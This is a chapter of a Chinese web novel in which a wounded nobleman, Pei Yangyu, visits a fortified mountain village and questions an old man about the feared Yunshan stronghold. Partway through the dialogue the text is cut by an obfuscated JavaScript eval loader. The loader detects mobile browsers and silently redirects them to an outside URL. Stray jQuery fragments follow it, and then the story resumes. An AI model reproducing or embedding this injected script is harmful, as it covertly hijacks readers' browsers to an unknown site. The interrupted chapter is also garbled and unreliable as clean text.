50. 虚妄
作品:《兄长不仁》 “不可。”竹声反应极大。
小童看了他一眼,嘟囔道:“郎君可是嫌弃我们,不愿踏足?”
裴扬雨略过竹声,向他们解释:“他是怕我们贸然拜访,耽误了你们进城买卖。”
老人笑了笑,“不妨事,买卖何时都能做。我看郎君这两匹马都有些渴了,总得喂喂水。”
裴扬雨思量片刻,点头应下。竹声还想开口说话,却被裴扬雨瞪了一眼。
三人跟着老人和小童的指引,穿过面前的一片密林又淌过一片小溪,方才看见炊烟袅袅的村落。
一栋石砌的高墙高高耸起,顶上有两层四角飞檐遮盖,两根石柱间的木门大而厚重。密密麻麻的木条捆在一处,向村落四周蔓延,将村子紧紧地围在一处。大门左侧还有三层木搭的高楼,似是用作放哨御敌。这样精密的工事,绕是裴扬雨也不常见到。
老人怕他们被眼前的景象吓到,解释了一番,“郎君们放心,我们不是坏人。这些石墙和门,都是乡亲们自己建的,只因深山野岭,常有野物出入伤人,故而才将外头遮得严严实实的。”
“原来是如此。”裴扬雨扶着竹声的手,缓缓随老人和小童往前走。
大门后有人听见动静,从一个小口往外看。一个中年的男人声音粗矿,边开门便问:“吴伯您不是前脚刚走吗?是不是落了什么东西要回来取?”
老人同他打过招呼,向他介绍道:“我在山路上碰到一位郎君中了暑热,想着外面日头毒辣,带他回家里歇一歇。”
男人眯着眼睛,警惕地扫了他们几眼,在老人耳边小声道:“他们看着很是眼生,怎么会在山中出现?吴伯可别被他们骗了。”
老人道:“不是他们要跟我回来的,是我领他们回来的,放心罢,他们看起来就不是坏人。那位郎君中了暑热,身上又有伤,本来是到山中采药治伤的,可得了暑热走不动。我担心他们逞强,不肯听劝还想着去采药,所以便将他们领回来了。”
男人一面盯着裴扬雨一行人,一面道:“吴伯,您看他们穿得光鲜亮丽的,怎会缺药,想要什么花钱便能买到,何须委屈自己到外面去晒?您忘了,上回进寨子里的人,便是装作一副良善的模样,害了不少人。”
老人显得有些为难,“可……”
“老人家,若是不便,我们回去便是。”裴扬雨捂着左臂,向老人道谢后,转身便同竹声要走。
身旁的小童跑上前拦住他,“郎君,你左臂有伤,若是不及时换药,肯定会发炎。”
小童扯开裴扬雨的披风,朝男人喊了一声:“陈叔,这位郎君左臂有血,真不是骗人的,你看他两颊还红着,暑热的症状也还没缓解,若是颠簸下山,空有性命之忧,陈叔,我们总不能见死不救罢?”
小童故意夸大其词,引起男人的注意。
男人半信半疑地看了他们一眼,又遭不住小童的软磨硬泡,只得让出一条路,“进去罢,我同你们一道去。”
进门后,男人又将木门锁上,自然地牵过身后的一匹马朝前走。
两旁坐落的房屋错落有致,小路窄长向房屋四周延伸。屋前还有妇女在织布机上织布,瓜架下的稚子你追我赶,一片欢声笑语。抬眼可见平整的小山顶上白墙青瓦的高楼连成一片,比低地上的屋子显得气派许多。山下良田铺开,不少男子在田间辛勤劳作。山上山下之景大不相同,却莫名地和谐。
裴扬雨来不及细看,很快便被领进了一处陈旧的屋子里。
“老伴,来客人了,可别忙活了。”老人放下板车,一面朝厨房那边喊道。
听见老人的叫声,一个围着围裙的老妇人边擦着手,边走出来。看见老人领回来的几个人,顿时愣住了。
小童蹦蹦跳跳跑到老妇人面前,一通解释,老妇人才又挂着笑,请他们往屋子里坐。
小童熟练地将茶泡好,分别递到几个人面前,道:“郎君们请用茶,这茶虽然不名贵,可都是我们自己家里种的茶,喝起来甘甜可口,正好压一压火气。”
老人关切问:“我看郎君手上的伤闷得难受,不如随我到里屋里换一块干净的纱布裹着?”
裴扬雨点点头,同竹声一道走进里屋。老人取来纱布和一堆瓶瓶罐罐,挠了挠头,“也不知道郎君身上的是什么伤?”
竹声道:“我家郎君是刀伤,他出门前已经上了一次药了,只怕是和汗混在一起不舒服。”
老人道:“既然有用药,那还是不要用其他草药了,免得相冲,换一块干净的纱布更妥当一些。”
将纱布递给竹声时,老人喃喃道:“这位郎君,我们班是不是在哪里见过,总觉得你有些眼熟。”
竹声慌了神,想起上回跟在温逐月身边时,同老人打过照面。他接过纱布,别过头,“老人家怕是记错了,这脸与许多人都长得像,或许老人家见的是与我长相相似的人。”
老人随后笑道:“也是,我一把年纪了,头昏眼花的,认错人了也说不准。”
裴扬雨换过纱布后又走出去,见老妇人又从厨房端了一碟方糕走出来。
“我们山里人家没什么可吃的,这糯米和红豆都是我们自己种的,吃着放心。几位郎君可以尝一尝。”老妇人拍了拍小童的脑袋,柔声道:“你不许多吃,等会便要吃饭了,顶多只能吃两块。”
小童很是懂事,应下老妇人的话。老妇人见客人落座又忙着到厨房张罗午饭。
闲聊了几句家常后,裴扬雨问:“老人家,我看山上还有屋子,跟这里的屋子好像不一样。”
老人怔了怔,道:“山上的屋子是夫人和郎君住的,便是我方才提起,经常帮衬我们的善人。乡亲们为了感谢他们善举,给他们在山上起屋子。起屋子的钱,都是夫人和郎君平日帮补我们给的钱,乡亲们攒了两年又赚了些钱补上去,才起了这样好的屋子。夫人和郎君平日节俭,有多余的钱都给我们了,为报答他们的恩情,我们想着让他们住得更舒服些。”
“居然还有如此大义的人,我实在是佩服,听老人家所说,他们应不是当地人吧?”裴扬雨试探问。
“夫人和郎君是哪里人,还轮不到你多嘴问。”方才替他们牵马的男人又从门外折进来,恶狠狠地盯了裴扬雨一眼。
竹声吞不下这口气,站起来为裴扬雨打抱不平,“我家郎君也是随口一问,用得着这么凶么?”
裴扬雨并没有生气,只道:“我初来乍到,不知道哪些话该说,哪些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527533|181261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话不该说,还请诸位见谅。”
“胜子,别动气。他也没有恶意,只是问问而已。”老人见状,立刻开口调和,“郎君你别见怪,他这人是直肠子,有什么说什么,方才说的话,不是冒犯你的意思。”
裴扬雨微微颔首,笑道:“无事,是我冒犯在先,老人家不必记挂心上。”
“胜子,张家的耕牛病了,正四处寻你去看。”老妇人走进屋里,让怒目圆瞪的男人出去。
男人皱皱眉,很利落地起身,只是放心不过裴扬雨他们,又在老人耳边叮嘱了几句,方才跑出去。
见男人走了,裴扬雨心里才稍稍松了些,他又问:“能出这么多钱帮补乡亲的善人,应也是上了些年纪,才有些身价去助人罢?”
老人摇了摇头,“这位好心的郎君,约摸二十出头,看起来像与你一般大。至于郎君的母亲是什么岁数我便不知道了。”
裴扬雨心中默默算了算,二十出头的年纪,与先太子遗脉的年岁不符,若真有此人,算下来,先太子遗脉今年应当三十又一了。况且这好心的郎君顶头还有位母亲,先太子夫妇早便去了,这位夫人又会是谁?
“老人家,那村子里一直只有你们住在这里吗?平日可还有外面的人进来?”裴扬雨转眼又问。
“这山沟沟里,有谁会愿意来?以前倒是有些毛贼摸过来害人,现下比之前安定许多了,只有我们寨……村子里的人出入,除了你们以外,近几年的都没有生人踏足了。”老人觉得裴扬雨问的很奇怪,但还是耐心回他。
屋子打扫得亮堂堂的,虽然陈旧,却让人倍感舒服。竹声忍不住问:“老人家,既然山中生活清贫,何不下山谋生,日后孩子若是上学堂也会更方便。这村里其他人难道就不想出去吗?”
老人捋了捋长胡须又叹了一口气,“下山谈何容易,在城里立足更是艰难。更何况我们的名……”意识到自己说错了话,老人又将话锋一转,“我们世世代代住在山里,早已成为习惯,能吃饱喝足我们便满意了,何须往外挤。只要相安无事地住着,有片栖身之地便足够了。”
“可山中毕竟不安全,听闻深山中存有恶名远扬的云山寨。他们四处害人,打家劫舍,你们住在这里难道不怕吗?”裴扬雨的眼睛紧随老人的神色。
果然,老人变了脸色,回盯裴扬雨,“耳听为实,眼见为虚。可有人亲眼见过云山寨里的人害过人?那些人口中的云山寨所犯下的恶事,真的有一件事云山寨所做吗?他们不过是替罪羊,别人做了什么坏事,帽子都要往他们头上扣。我们在山中住了许久,从未被云山寨害过,我们有何惧怕?”
“若是云山寨的人都是好人,知道他们被外面的人冤枉,为何没有人出来声张,为自己求个公道?”裴扬雨心头一动。
老人眉间沟壑深陷,问道:“既有恶人之命在,又有谁会听恶人申诉?又该到何处申诉?他们从未做过伤天害理之事,清清白白地做人,就因住在山中,就要被冠上顶山匪的帽子。难道他们要指望相信这传言的人替自己声张正义么?”
裴扬雨垂着头不做声,脸已涨得通红,过后又颤颤地站起身向老人一家告别。
“老人家,叨扰已久,我们该走了。”